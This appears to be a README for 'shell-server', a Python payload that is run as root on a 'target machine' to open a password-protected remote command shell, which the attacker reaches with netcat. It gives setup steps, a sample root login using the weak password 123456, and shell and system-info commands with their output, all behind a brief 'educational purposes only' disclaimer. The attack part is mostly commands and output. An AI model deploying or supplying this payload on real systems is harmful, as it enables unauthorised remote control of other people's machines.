Execute commands, get info about system with this little pythonic example. You MUST use this example ONLY for educational purposes.
- Python 3.5+
1 - Clone the repository:
$ git clone https://github.com/thiiagoms/shell-server,
2 - Change host and port on payload.py
and then execute on target machine:
$ sudo python payload.py
3 - You can use netcat for example, to connect on host and port:
$ netcat <host> <port>
[*] Username: root
[*] Password: 123456
$ <you-are-connect-on-machine>
4 - You have two commands on payload: shell, server-info and exit
- First:
shell
to execute commands on target machine
Welcome to socket server panel.
$ shell
shell >>: ls
assets
LICENSE
payload.py
README.md
shell >>: whoami
root
- Second:
server-info
to get info about machine
$ server info
Linux codex 5.13.19-2-MANJARO #1 SMP PREEMPT Sun Sep 19 21:31:53 UTC 2021 x86_64 GNU/Linux
- Third:
exit
to exit payload and close connection:
$ exit